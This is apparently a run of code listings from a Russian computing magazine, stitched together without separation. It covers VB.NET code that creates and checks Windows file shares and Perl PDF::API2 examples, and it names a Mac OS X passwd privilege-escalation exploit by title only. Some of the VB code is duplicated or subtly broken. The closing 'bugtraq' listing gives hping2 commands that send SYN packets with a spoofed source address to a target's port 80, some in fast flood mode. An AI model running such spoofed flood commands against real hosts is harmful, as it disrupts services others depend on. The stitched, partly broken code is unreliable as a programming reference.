PCName + "/LanManServer") Dim NewShare As ActiveDs.IADsFileShare = ShareServeceObj.Create(ObjectType, ShareName) NewShare.Path = PathToFolder NewShare.MaxUserCount = MaxUsers NewShare.SetInfo() ' сохранение изменений в файловую систему Try ' Тестируемый программный код Catch ex As Exception MsgBox(ex.Message) End Try Try ' Объявление констант Dim PathToFolder As String = "C:\Test" Dim ShareName As String = "Test" Dim ObjectType As String = "FileShare" Dim MaxUsers As Integer = 10 ' Проверка существования каталога Dim fso As New Microsoft.VisualBasic.FileIO.FileSystem If fso.DirectoryExists(PathToFolder) = False Then fso.CreateDirectory(PathToFolder) End If ' Определение имени текущего компьютера Dim PCName As String = My.Computer.Name ' Создание объекта Dim ShareServeceObj As ActiveDs.IADsContainer = GetObject("WinNT://" + PCName + "/LanManServer") Dim NewShare As ActiveDs.IADsFileShare = ShareServeceObj.Create(ObjectType, ShareName) NewShare.Path = PathToFolder NewShare.MaxUserCount = MaxUsers NewShare.SetInfo() ' сохранение изменений в файловую систему Catch ex As Exception MsgBox(ex.Message) End Try Declare Unicode Function NetDfsGetInfo Lib "***.DLL" (ByVal[ByRef] ParametrName As TypeOfData,…) As Integer _ Public Structure OSVERSIONINFOEX … End Structure Declare Unicode Function NetShareCheck Lib "NETAPI32.DLL" (ByVal servername As String, ByVal device As String, ByRef type As Integer) As Integer Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim server As String = "\\ComputerName" Dim share As String = "c:\FolderName" Const STYPE_DISKTREE = 0 Dim err_description As String = "" Dim err_code As Integer err_code = NetShareCheck(server, share, STYPE_DISKTREE) if err_code = 0 then err_description = "Shared Folder Status: OK " else err_description = "Shared Folder Exist: Error" end if MsgBox(err_description) End Sub Declare Unicode Function NetShareAdd Lib "NETAPI32.DLL" (ByVal servername As String, ByVal level As Integer, ByRef buf As _SHARE_INFO_2, ByRef parm_err As Integer) As Integer _ Public Structure _SHARE_INFO_2 Public shi2_netname As String Public shi2_type As Int32 Public shi2_remark As String Public shi2_permissions As Int32 Public shi2_max_uses As Int32 Public shi2_current_uses As Int32 Public shi2_path As String Public shi2_passwd As String End Structure Dim a As _SHARE_INFO_2 a.shi2_max_uses = 100 a.shi2_netname = "123" a.shi2_path = "c:\123" Dim server As String = "\\1230pc" Dim err_code As Integer err_code = NetShareAdd(server, 2, a, Nothing) Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim a As _SHARE_INFO_2 a.shi2_max_uses = 100 a.shi2_netname = "123" a.shi2_path = "c:\123" Dim server As String = "\\1230pc" Dim err_description As String = "" Dim err_code As Integer err_code = NetShareAdd(server, 2, a, Nothing) Select Case err_code Case 0 err_description = "Share Folder Was Created" Case 2 err_description = "Folder Not Found" Case 2118 err_description = "Share Folder Is Exist" End Select MsgBox(err_description) End Sub Declare Unicode Function NetShareGetInfo Lib "NETAPI32.DLL" (ByVal servername As String, ByVal netname As String, ByVal level As Integer, ByRef bufptr As IntPtr) As Integer Dim server As String = "\\1230pc" Dim share As String = "123" Dim err_code As Integer Dim bufPtf As IntPtr err_code = NetShareGetInfo(server, share, 2, bufPtf) Dim b As _SHARE_INFO_2 b = CType(Marshal.PtrToStructure(bufPtf, GetType(_SHARE_INFO_2)), _SHARE_INFO_2) MsgBox(b.shi2_netname) Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click Dim server As String = "\\1230pc" Dim share As String = "123" Dim err_description As String = "" Dim err_code As Integer Dim b As _SHARE_INFO_2 Dim bufPtf As IntPtr err_code = NetShareGetInfo(server, share, 2, bufPtf) b = CType(Marshal.PtrToStructure(bufPtf, GetType(_SHARE_INFO_2)), _SHARE_INFO_2) Select Case err_code Case 0 MsgBox(b.shi2_netname) Case 2310 err_description = "Share Is Not Found" MsgBox(err_description) End Select End Sub Imports … Public Class ClassName1 Public Function Function1(ByVal Type As Integer, …) As String End Function Public Function Function2(ByVal Type As Integer, …) As Object End Function Function Function1(ByVal Type As Integer, …) As String End Function … End Class … Public Class ClassNameK … End Class Imports SharedFolders Public Function AddShare(ByVal Server As String, ByVal Path As String, ByVal Share As String, ByVal Description As String, ByVal flag As Boolean) As Integer … End Function Private Function _AddShare(ByVal server As String, ByVal share As String, ByVal path As String, ByVal description As String) Dim a As _SHARE_INFO_2 a.shi2_netname = share a.shi2_path = Path a.shi2_remark = description _AddShare = NetShareAdd(Server, 2, a, Nothing) End Function Dim fso As Microsoft.VisualBasic.FileIO.FileSystem If flag = True Then Dim path_exist As String = "\\" + Server + "\" + Right(Path, Len(1)) + "$" + Left(Path, Len(Path - 1)) If fso.DirectoryExists(path_exist) = False Then fso.CreateDirectory(path_exist) AddShare = _AddShare(Server, Share, Path, Description) End If Else AddShare = _AddShare(Server, Share, Path, Description) End If Dim a As SharedFolder.Manipulate Dim err_code As Integer err_code = a.AddShare("1230pc","c:\123","123","TestFolder",True) MsgBox (err_code) ----------------------------------------------------------------------------------------------------------------- bugtraq, стр. 77 Apple Mac OS X "/usr/bin/passwd" Binary Local Privilege Escalation (root) Exploit ----------------------------------------------------------------------------------------------------------------- Работаем с PDF из Perl Валентин Синицын Пример 1 01:#!/usr/bin/perl 02:use PDF::API2; 03:use constant mm => 25.4/72; 04:use constant cm => 2.54/72; 05:use constant in => 1/72; 06:use constant pt => 1; 07:$pdf = PDF::API2->new; 08:$fnt = $pdf->corefont('Verdana', -encode => 'cp1251'); 09:$page = $pdf->page; 10:$page->mediabox('A4'); 11:$gfx = $page->gfx; 12:# Выводим текстовую метку 13:$gfx->textlabel(210/mm/2, 297/mm/2, $fnt, 12, 'Здравствуй, мир !'); 14:$pdf->saveas('helloworld1.pdf'); 15:$pdf->end; Пример 2: 01:$n = 10; 02:$R = 50; # $n текстовых меток по кругу 03:$gfx->translate(210/mm/2, 297/mm/2); 04:for $i (1..$n) { 05: $gfx->rotate(360/$n); 06: $gfx->textlabel($R, 0, $fnt, 12, 'Здравствуй, мир !'); 07:} Пример 3 # Синий фон 01:$gfx->fillcolor('blue'); 02:$gfx->rectxy($page->get_mediabox); 03:$gfx->fill(1); # Желтый круг в центре страницы 04:$gfx->fillcolor(‘yellow’); 05:$gfx->circle(210/mm/2, 297/mm/2, 0.95*$R); 06:$gfx->fill(1); Пример 4 01:#!/usr/bin/perl 02:use PDF::API2; 03:use constant mm => 25.4/72; 04:use constant cm => 2.54/72; 05:use constant in => 1/72; 06:use constant pt => 1; 07:$pdf = PDF::API2->open("blank.pdf"); 08:$font = $pdf->corefont("Georgia-Italic", -encode => cp1251); 09:$page = $pdf->openpage(1); 10:$gfx = $page->gfx; 11:$gfx->textlabel(3.20/cm, 297/mm-3.30/cm, $font, 12, "Иванов И.И."); 12:$gfx->textlabel(6.0/cm, 297/mm-3.80/cm, $font, 12, "Голодающим детям Африки"); 13:$gfx->textlabel(3.05/cm, 297/mm-4.80/cm, $font, 12, "01.01.1970"); 14:$pdf->saveas("receipt.pdf"); 15:$pdf->end; 01:$pdf = PDF::API2->open("document.pdf"); 02:for $i (1..$pdf->pages) { 03: $pdf->openpage($i)->rotate(90); 04:} 05:$pdf->saveas("document_new.pdf"); 06:$pdf->end; 01:$pdf = PDF::API2->open("document.pdf"); 02:for $i (1..$pdf->pages) { 03: $pdf->openpage($i)->cropbox(3/cm, 3/cm, 210/mm-3/cm, 297/mm-3/cm); 04:} 05:$pdf->saveas("document_new.pdf"); 06:$pdf->end; 01:#!/usr/bin/perl 02:use PDF::API2; 03:$source = PDF::API2->open("document.pdf"); 04:$dest = PDF::API2->new; #или PDF::API2->open("document2.pdf"); 05:@pages = (1, -1); 06:for $page (@pages) { 07: $dest->importpage($source, $page, $dest->page); 08:} 09:$dest->saveas("document_new.pdf"); 10:$dest->end; 11:$source->end; 01:$source = PDF::API2->open("document.pdf"); 02:$dest = PDF::API2->new; 03:$left = 1; 04:$right = ($source->pages % 4 == 0) ? $source->pages : $source->pages + (4 - $source->pages % 4); 05:$reversed = 1; 06:while ($left < $right) { 07: $page = $dest->page; 08: $page->mediabox(297/mm, 210/mm); 09: $page->rotate(90); 10: draw_page($source, $left, $dest, -1, $reversed); 11: draw_page($source, $right, $dest, -1, !$reversed) if ($right <= $source->pages); 12: $left++; $right--; $reversed = !$reversed; 13:} 14: $dest->saveas("document_book.pdf"); 15:$dest->end; 01:sub draw_page { 02: my ($pdf_in, $in_idx, $pdf_out, $out_idx, $position) = @_; 03: my $xo = $pdf_out->importPageIntoForm($pdf_in, $in_idx); 04: my $pg_out = $pdf_out->openpage($out_idx); 05: if (my $cropbox = $pdf_in->openpage($in_idx)->find_prop("CropBox")) { 06: $xo->bbox(map {$_->val} $cropbox->elementsof); 07: } 08: my @ps = map {$_->val} $xo->{BBox}->elementsof; 09: my $bbox_width = $ps[2] - $ps[0]; 10: my $bbox_height = $ps[3] - $ps[1]; 11: my (undef, undef, $page_width, $page_height) = $pg_out->get_mediabox; 12: my $scale_x = $page_width/(2*$bbox_width); 13: my $scale_y = $page_height/$bbox_height; 14: my ($scale, $x, $y); 15: if ($scale_x <= $scale_y) { 16: $scale = $scale_x; 17: $x = 0; 18: $y = ($page_height - $scale*$bbox_height)/2; 19: } 20: else { 21: $scale = $scale_y; 22: $x = ($page_width/2 - $scale*$bbox_width)/2; 23: $y = 0; 24: } 25: $pg_out->gfx->formimage($xo, $x - $ps[0] + ($position ? $page_width/2 : 0), 26:$y - $ps[1], $scale); 27:} ----------------------------------------------------------------------------------------------------------------- bugtraq, стр. 91 hping2 -a $SOURCE_IP -S -c 1 -s 31337 -p 80 $TARGET_IP -d 1 hping2 -a $SOURCE_IP -S -s 0 -p 80 --faster $TARGET_IP -d 1 hping2 -a $SOURCE_IP -S -c 1 -s 31337 -p 80 -t 8 $TARGET_IP hping2 -a $SOURCE_IP -S -s 0 -p 80 --faster -t 8 $TARGET_IP